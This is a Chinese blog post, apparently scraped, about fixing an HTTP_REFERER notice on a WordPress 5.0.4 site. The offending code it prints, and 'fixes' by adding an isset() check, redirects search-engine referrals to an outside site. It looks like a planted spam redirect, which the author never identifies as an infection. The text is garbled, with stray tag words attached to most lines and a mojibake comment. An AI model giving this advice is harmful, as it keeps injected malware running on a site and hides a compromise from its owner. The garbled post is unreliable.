都說如今搭網站很簡單了,但真遇到問題了還真不必定能解決。php
此次搭建的網站是用的wordpress版本5.0.4,覺得操做和之前的低版本同樣,結果作出來仍是遇到問題了。html
網站搭好後,首頁總在頂端出現一行ide
Notice: Undefined index: HTTP_REFERER in index.php line 14wordpress
點擊了其餘頁面後Notice消失網站
網上有關於這種狀況的解決辦法 http://www.manongjc.com/article/1114.htmlspa
可是
1. 用方法一、3(即關閉報錯)都沒用,沒法消除.net
2. themes中index.php中並無發現HTTP_REFERER,亦沒法用方法2code
3. 這個notice直接影響了頁面一處圖片的垂直居中效果,只有點擊了其餘頁面後纔會垂直居中htm
綜合來看blog
1. 只能放棄一、3的方法
2. 定位具體位置
在定位具體位置中:
1.猜想可能和wp_header(),wp_footer()的相關引入有關,依次刪除無果
2.切換到wordpress自帶twentyseventeen、twentysixteen主題依然有,能夠判斷跟本身寫的無關,是系統的問題。
3.猜想可能跟phpstudy有關,準備從新裝phpstudy,也猜想可能和wordpress版本有關,可是以爲不太可能
在網上各類翻的過程當中,發現了這篇帖子https://bbs.csdn.net/topics/391817077?page=1
其中提到了config文件,因而翻看config並無HTTP_REFERER,
可是在一樣的文件夾中發現了另外一個index.php
由於報錯是在index.php中,因而點開一看
HTTP_REFERER赫然出如今第14行,因而按照方法2進行修改
if(isset($_SERVER['HTTP_REFERER'])){ $httpuser=strtolower($_SERVER['HTTP_REFERER']); if(strstr($httpuser,'tiandao') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider')) { Header("Location: http://a8qqq.com/");//Ö¸¶¨Ìøת exit; } }
修改後,網站恢復正常!